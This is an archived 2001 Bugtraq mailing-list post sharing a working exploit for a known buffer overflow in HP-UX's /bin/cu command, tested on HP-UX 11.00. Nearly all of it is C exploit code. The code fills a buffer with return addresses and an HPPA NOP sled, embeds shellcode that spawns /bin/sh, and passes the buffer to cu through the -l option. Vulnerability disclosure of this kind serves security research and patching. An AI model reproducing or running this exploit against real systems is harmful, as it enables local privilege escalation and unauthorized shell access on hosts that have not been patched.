[18678] in bugtraq
HP/UX /bin/cu vulnerability
daemon@ATHENA.MIT.EDU ([ zorgon ])
Thu Jan 18 12:57:55 2001
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Date: Thu, 18 Jan 2001 02:40:41 -0800
Reply-To: "[ zorgon ]" <zorgon@ANTIONLINE.ORG>
From: "[ zorgon ]" <zorgon@ANTIONLINE.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
I have written an exploit for the HP/UX /bin/cu command.
This is not a new vulnerability (http://www.securityfocus.com/bid/1886 ).
Technical Description - Exploit/Concept Code:
----
/* Copyright (c) 2001 Zorgon
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
* zorgon@antionline.org (http://www.nightbird.free.fr)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */
u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
int
main(int argc , char **argv){
char buffer[LEN+8];
int i;
long retaddr = RET;
int offset = OFFSET;
if(argc>1) offset = atoi(argv[1]);
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr + offset;
for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
*(buffer+i) = HPPA_NOP;
memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));
execl("/bin/cu","cu","-l",buffer,0);
}
----
Z.
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